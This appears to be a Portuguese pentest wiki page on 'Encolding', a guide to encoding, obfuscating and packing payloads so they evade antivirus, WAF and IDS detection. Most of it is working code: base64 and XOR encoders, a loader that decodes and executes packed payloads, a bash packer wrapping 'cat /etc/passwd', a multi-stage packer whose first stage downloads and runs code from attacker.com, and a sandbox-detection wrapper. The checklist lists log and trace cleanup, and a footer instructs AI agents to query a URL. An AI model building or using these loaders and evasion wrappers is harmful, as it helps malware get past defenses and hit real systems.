# Encodagem (Encoding)

## 📦 **Encolding – Guia de Empacotamento e Ofuscação de Payloads**

### 🎯 **O que é Encolding?**

**Encolding** (termo que combina *encode* + *holding* / *molding*) é o conjunto de técnicas e práticas para empacotar, ofuscar, transformar e preparar payloads para execução em ambientes controlados de teste de intrusão. O objetivo é criar artefatos executáveis que possam contornar detecções básicas enquanto mantêm a funcionalidade original.

> **⚠️ NOTA IMPORTANTE**: Este conteúdo é **estritamente educacional** e deve ser utilizado apenas em ambientes autorizados, com permissão explícita, e em conformidade com as leis aplicáveis.

***

### 📋 **Índice**

1. Fundamentos do Encolding
2. Técnicas de Codificação
3. Técnicas de Ofuscação
4. Empacotamento de Payloads
5. Ferramentas do Encolding
6. Checklist de Segurança

***

### 🔍 **Fundamentos do Encolding**

#### **Por que Encolding é necessário?**

```yaml
Motivações:
  ✅ Evasão de assinaturas estáticas de antivírus
  ✅ Redução da superfície de detecção
  ✅ Entrega de payloads em formatos alternativos
  ✅ Bypass de filtros de conteúdo (WAF, IDS)
  ✅ Adaptação de payloads para diferentes targets

Desafios:
  ❌ Detecção heurística avançada
  ❌ Análise comportamental em sandboxes
  ❌ Limitações de tamanho e formato
  ❌ Manutenção da funcionalidade original
```

#### **Fluxo Básico do Encolding**

```mermaid
graph LR
    A[Payload Original] --> B[Codificação]
    B --> C[Ofuscação]
    C --> D[Empacotamento]
    D --> E[Payload Final]
    
    subgraph "Camadas de Transformação"
        B
        C
        D
    end
```

#### **Princípios do Encolding**

| Princípio          | Descrição                             | Importância |
| ------------------ | ------------------------------------- | ----------- |
| **Funcionalidade** | Payload mantém comportamento original | Essencial   |
| **Transformação**  | Múltiplas camadas de alteração        | Alta        |
| **Polimorfismo**   | Variação entre execuções              | Média       |
| **Evasão**         | Bypass de detecções comuns            | Alta        |
| **Furtividade**    | Mínimo de artefatos                   | Alta        |

***

### 🔢 **Técnicas de Codificação**

#### **1. Base64 Encoding**

```bash
# Codificar payload
base64 -w 0 payload.bin > payload.b64

# Decodificar em tempo de execução
echo "cGF5bG9hZA==" | base64 -d | sh

# Python
python3 -c "import base64; print(base64.b64encode(open('payload.bin','rb').read()))"
```

#### **2. Hex Encoding**

```bash
# Codificar para hex
xxd -p payload.bin > payload.hex

# Decodificar
cat payload.hex | xxd -p -r | sh

# Shellcode format
xxd -i payload.bin > payload.c
```

#### **3. URL Encoding**

```bash
# Codificar para URL
python3 -c "import urllib.parse; print(urllib.parse.quote(open('payload.sh').read()))"

# Decodificar
python3 -c "import urllib.parse; print(urllib.parse.unquote('%68%65%6c%6c%6f'))"
```

#### **4. Caesar Cipher (ROT13)**

```bash
# ROT13 em Bash
echo "payload" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# ROT13 em Python
python3 -c "import codecs; print(codecs.encode('payload', 'rot_13'))"
```

#### **5. XOR Encoding**

```python
#!/usr/bin/env python3
# xor_encoder.py

def xor_encode(data, key=0xAA):
    return bytes([b ^ key for b in data])

def xor_decode(data, key=0xAA):
    return bytes([b ^ key for b in data])

# Exemplo
payload = b"whoami"
encoded = xor_encode(payload)
print(f"Encoded: {encoded.hex()}")
print(f"Decoded: {xor_decode(encoded)}")
```

***

### 🎭 **Técnicas de Ofuscação**

#### **1. Ofuscação de Strings**

```python
#!/usr/bin/env python3
# string_obfuscator.py

import base64
import random

class StringObfuscator:
    """Ofuscação de strings em código"""
    
    @staticmethod
    def base64_obfuscate(text):
        encoded = base64.b64encode(text.encode()).decode()
        return f"__import__('base64').b64decode('{encoded}').decode()"
    
    @staticmethod
    def hex_obfuscate(text):
        hex_str = text.encode().hex()
        return f"bytes.fromhex('{hex_str}').decode()"
    
    @staticmethod
    def reverse_obfuscate(text):
        reversed_str = text[::-1]
        return f"'{reversed_str}'[::-1]"
    
    @staticmethod
    def split_obfuscate(text, parts=3):
        chunk_size = len(text) // parts
        chunks = [text[i:i+chunk_size] for i in range(0, len(text), chunk_size)]
        return '+'.join([f"'{chunk}'" for chunk in chunks])
    
    @staticmethod
    def rot13_obfuscate(text):
        import codecs
        rot13 = codecs.encode(text, 'rot_13')
        return f"__import__('codecs').decode('{rot13}', 'rot_13')"

# Exemplo
obf = StringObfuscator()
print(obf.base64_obfuscate("whoami"))
print(obf.hex_obfuscate("whoami"))
```

#### **2. Ofuscação de Comandos**

```bash
# Inversão de comandos
whoami | rev
echo "imaohw" | rev

# Substituição de caracteres
$(echo {w,h,o,a,m,i} | tr -d ' ')

# Uso de variáveis
x=whoami; $x

# Command substitution
$(echo d2hvYW1p | base64 -d)

# Wildcards
/usr/bin/who?mi
/?in/?ho?mi
```

#### **3. Ofuscação em PowerShell**

```powershell
# String concatenation
"who" + "ami"

# Variable interpolation
$c = "whoami"; Invoke-Expression $c

# Base64 encoding
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("d2hvYW1p"))

# Character casting
[char](119)+[char](104)+[char](111)+[char](97)+[char](109)+[char](105)

# Environment variables
$env:ComSpec -replace ".*\\",""
```

***

### 📦 **Empacotamento de Payloads**

#### **1. Payload em Script Python**

```python
#!/usr/bin/env python3
# python_packager.py

import base64
import zlib
import sys

class PythonPackager:
    """Empacotador de payloads Python"""
    
    def __init__(self, payload_file, output_file='packed.py'):
        self.payload = open(payload_file, 'rb').read()
        self.output = output_file
    
    def compress_and_encode(self):
        """Comprimir e codificar payload"""
        compressed = zlib.compress(self.payload)
        encoded = base64.b64encode(compressed).decode()
        return encoded
    
    def generate_loader(self, encoded_payload):
        """Gerar código loader"""
        loader = f'''#!/usr/bin/env python3
import base64, zlib, os, sys

# Payload empacotado
_payload = "{encoded_payload}"

# Decodificar e executar
try:
    _decoded = base64.b64decode(_payload)
    _decompressed = zlib.decompress(_decoded)
    exec(_decompressed)
except Exception as e:
    sys.stderr.write(f"Erro: {{e}}\\n")
    sys.exit(1)
'''
        return loader
    
    def pack(self):
        """Empacotar payload"""
        encoded = self.compress_and_encode()
        loader = self.generate_loader(encoded)
        
        with open(self.output, 'w') as f:
            f.write(loader)
        os.chmod(self.output, 0o755)
        
        print(f"[+] Payload empacotado: {self.output}")
        return self.output

# Exemplo
# packer = PythonPackager('payload.py', 'packed.py')
# packer.pack()
```

#### **2. Payload em Bash**

```bash
#!/bin/bash
# bash_packager.sh

# Payload original
PAYLOAD='cat /etc/passwd'

# Codificar em Base64
ENCODED=$(echo -n "$PAYLOAD" | base64 -w 0)

# Gerar payload empacotado
cat > packed.sh << EOF
#!/bin/bash
# Payload empacotado
_CMD=\$(echo "$ENCODED" | base64 -d)
eval "\$_CMD"
EOF

chmod +x packed.sh
echo "[+] Payload empacotado: packed.sh"
```

#### **3. Payload Multi-Estágio**

```python
#!/usr/bin/env python3
# multi_stage_packer.py

import base64
import random
import string

class MultiStagePacker:
    """Empacotador multi-estágio"""
    
    def __init__(self, payload, output_file='stage3.py'):
        self.payload = payload
        self.output = output_file
    
    def generate_stage1(self):
        """Primeiro estágio - stub simples"""
        return f'''#!/usr/bin/env python3
import urllib.request
import base64

# Estágio 1: Download do estágio 2
_url = "http://attacker.com/stage2.py"
_response = urllib.request.urlopen(_url)
_code = _response.read().decode()
exec(_code)
'''
    
    def generate_stage2(self, stage3_encoded):
        """Segundo estágio - decodificador"""
        return f'''#!/usr/bin/env python3
import base64
import zlib

# Estágio 2: Decodificar estágio 3
_payload = "{stage3_encoded}"
_decoded = base64.b64decode(_payload)
_decompressed = zlib.decompress(_decoded)
exec(_decompressed)
'''
    
    def generate_stage3(self):
        """Terceiro estágio - payload real"""
        return self.payload
    
    def pack(self):
        """Empacotar todos os estágios"""
        # Preparar estágio 3
        stage3 = self.generate_stage3()
        stage3_compressed = zlib.compress(stage3.encode())
        stage3_encoded = base64.b64encode(stage3_compressed).decode()
        
        # Gerar estágio 2
        stage2 = self.generate_stage2(stage3_encoded)
        
        # Gerar estágio 1
        stage1 = self.generate_stage1()
        
        # Salvar estágios
        with open('stage1.py', 'w') as f:
            f.write(stage1)
        with open('stage2.py', 'w') as f:
            f.write(stage2)
        with open('stage3.py', 'w') as f:
            f.write(stage3)
        
        print("[+] Payloads multi-estágio gerados:")
        print("    stage1.py -> stage2.py -> stage3.py")
        return True

# Exemplo
# packer = MultiStagePacker('print("Hello")')
# packer.pack()
```

#### **4. Payload com Delay e Condições**

```python
#!/usr/bin/env python3
# conditional_packer.py

import time
import random
import platform

class ConditionalPacker:
    """Payload com condições de execução"""
    
    def __init__(self, payload, output_file='conditional.py'):
        self.payload = payload
        self.output = output_file
    
    def generate_conditional(self):
        """Gerar código com condições"""
        
        conditions = f'''
# Verificar ambiente
import sys
import platform
import time

# Verificar se é sandbox
def is_sandbox():
    # Tempo de execução muito curto
    start = time.time()
    time.sleep(0.1)
    if time.time() - start < 0.09:
        return True
    
    # Verificar memória (sandboxes geralmente têm pouca RAM)
    try:
        import psutil
        if psutil.virtual_memory().total < 2 * 1024 * 1024 * 1024:
            return True
    except:
        pass
    
    # Verificar processos comuns de sandbox
    sandbox_procs = ['vbox', 'vmware', 'sandbox', 'cuckoo']
    for proc in sandbox_procs:
        if proc in ' '.join(sys.argv):
            return True
    
    return False

# Executar apenas se não for sandbox
if not is_sandbox():
    # Delay aleatório para evasão
    import random
    time.sleep(random.uniform(1, 5))
    
    # Payload
    {self.payload}
'''
        return conditions
    
    def pack(self):
        with open(self.output, 'w') as f:
            f.write(self.generate_conditional())
        print(f"[+] Payload condicional: {self.output}")
        return self.output
```

***

### 🛠️ **Ferramentas do Encolding**

#### **1. Encoder CLI Universal**

```python
#!/usr/bin/env python3
# universal_encoder.py

import argparse
import base64
import zlib
import sys

class UniversalEncoder:
    """Codificador universal de payloads"""
    
    def __init__(self):
        self.encodings = {
            'base64': self.encode_base64,
            'hex': self.encode_hex,
            'gzbase64': self.encode_gz_base64,
            'xor': self.encode_xor,
            'reverse': self.encode_reverse
        }
    
    def encode_base64(self, data):
        return base64.b64encode(data).decode()
    
    def encode_hex(self, data):
        return data.hex()
    
    def encode_gz_base64(self, data):
        compressed = zlib.compress(data)
        return base64.b64encode(compressed).decode()
    
    def encode_xor(self, data, key=0xAA):
        return bytes([b ^ key for b in data]).hex()
    
    def encode_reverse(self, data):
        return data[::-1].hex()
    
    def encode_file(self, input_file, output_file, encoding, **kwargs):
        with open(input_file, 'rb') as f:
            data = f.read()
        
        if encoding in self.encodings:
            encoded = self.encodings[encoding](data, **kwargs)
        else:
            raise ValueError(f"Encoding desconhecido: {encoding}")
        
        with open(output_file, 'w') as f:
            f.write(encoded)
        
        print(f"[+] Arquivo codificado: {output_file}")
        print(f"    Método: {encoding}")
        print(f"    Tamanho original: {len(data)} bytes")
        print(f"    Tamanho codificado: {len(encoded)} bytes")
        
        return encoded

# CLI
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Universal Payload Encoder')
    parser.add_argument('-i', '--input', required=True, help='Arquivo de entrada')
    parser.add_argument('-o', '--output', default='encoded.txt', help='Arquivo de saída')
    parser.add_argument('-e', '--encoding', choices=['base64', 'hex', 'gzbase64', 'xor', 'reverse'],
                       default='base64', help='Método de codificação')
    
    args = parser.parse_args()
    
    encoder = UniversalEncoder()
    encoder.encode_file(args.input, args.output, args.encoding)
```

#### **2. Payload Generator**

```python
#!/usr/bin/env python3
# payload_generator.py

import argparse
import base64
import random
import string

class PayloadGenerator:
    """Gerador de payloads ofuscados"""
    
    def __init__(self, command, output_file='payload.sh'):
        self.command = command
        self.output = output_file
    
    def generate_bash(self):
        """Gerar payload Bash ofuscado"""
        payloads = [
            # Base64
            f'echo "{base64.b64encode(self.command.encode()).decode()}" | base64 -d | bash',
            
            # Hex
            f'echo "{self.command.encode().hex()}" | xxd -p -r | bash',
            
            # Reverse + Base64
            f'echo "{self.command[::-1].encode().hex()}" | xxd -p -r | rev | bash',
            
            # Split
            f'({" && ".join([f"x={ord(c)}" for c in self.command])}) && eval $(printf "\\\\x%x" $x)',
            
            # Inline
            f'$(echo {self.command})',
            
            # Variable substitution
            f'c="whoami"; $c',
            
            # Wildcard
            f'/?in/?ho?mi'
        ]
        
        return random.choice(payloads)
    
    def generate_python(self):
        """Gerar payload Python ofuscado"""
        payloads = [
            f'__import__("os").system("{self.command}")',
            f'[__import__("os").system("{self.command}") for _ in range(1)]',
            f'exec(__import__("base64").b64decode("{base64.b64encode(self.command.encode()).decode()}"))',
            f'__import__("subprocess").call("{self.command}", shell=True)'
        ]
        
        return random.choice(payloads)
    
    def generate_powershell(self):
        """Gerar payload PowerShell ofuscado"""
        b64 = base64.b64encode(self.command.encode()).decode()
        
        payloads = [
            f'powershell -EncodedCommand {b64}',
            f'powershell -Command "& {{ {self.command} }}"',
            f'powershell -Command "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(\'{b64}\')))"'
        ]
        
        return random.choice(payloads)
    
    def save(self, payload):
        with open(self.output, 'w') as f:
            f.write(payload)
        os.chmod(self.output, 0o755)
        print(f"[+] Payload salvo: {self.output}")
        print(f"    Conteúdo: {payload[:100]}...")

# CLI
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Payload Generator')
    parser.add_argument('-c', '--command', required=True, help='Comando a executar')
    parser.add_argument('-o', '--output', default='payload.sh', help='Arquivo de saída')
    parser.add_argument('-t', '--type', choices=['bash', 'python', 'powershell'], 
                       default='bash', help='Tipo de payload')
    
    args = parser.parse_args()
    
    generator = PayloadGenerator(args.command, args.output)
    
    if args.type == 'bash':
        payload = generator.generate_bash()
    elif args.type == 'python':
        payload = generator.generate_python()
    else:
        payload = generator.generate_powershell()
    
    generator.save(payload)
```

***

### 📋 **Checklist de Segurança**

#### **Checklist para Uso do Encolding**

```yaml
Pré-Execução:
  [ ] Obter autorização por escrito para os testes
  [ ] Definir escopo e limites claros
  [ ] Preparar ambiente isolado (VM, container)
  [ ] Documentar todos os payloads gerados

Durante a Execução:
  [ ] Monitorar comportamentos anômalos
  [ ] Manter logs detalhados
  [ ] Respeitar limites de escopo
  [ ] Não persistir payloads após testes

Pós-Execução:
  [ ] Remover todos os artefatos
  [ ] Limpar logs e rastros
  [ ] Documentar resultados
  [ ] Reportar vulnerabilidades encontradas

Boas Práticas:
  - Sempre usar técnicas de evasão responsavelmente
  - Não compartilhar payloads ofuscados publicamente
  - Manter payloads criptografados em trânsito
  - Utilizar apenas em ambientes autorizados
```

***

### 📊 **Conclusão**

#### **Resumo Técnico**

```yaml
Encolding:
  ✅ Conjunto de técnicas para preparação de payloads
  ✅ Essencial para testes de penetração modernos
  ✅ Combina codificação, ofuscação e empacotamento
  ✅ Requer conhecimento multidisciplinar

Considerações Éticas:
  ❌ Uso não autorizado é crime
  ❌ Payloads ofuscados podem ser usados por malware
  ✅ Conhecimento deve ser usado defensivamente
  ✅ Testes apenas com permissão explícita
```

#### **Recomendações Finais**

1. **Para Pentesters**
   * Combine múltiplas técnicas para melhor evasão
   * Teste payloads em ambientes controlados
   * Documente todas as transformações aplicadas
   * Mantenha-se atualizado sobre novas detecções
2. **Para Blue Teams**
   * Implemente análise comportamental
   * Utilize sandboxes para detonar payloads
   * Monitore chamadas de API suspeitas
   * Treine equipe em técnicas de ofuscação
3. **Para Desenvolvedores**
   * Não confie em validação apenas por assinatura
   * Implemente múltiplas camadas de verificação
   * Utilize análise heurística
   * Mantenha assinaturas atualizadas


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/criptografia/encodagem-encoding.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.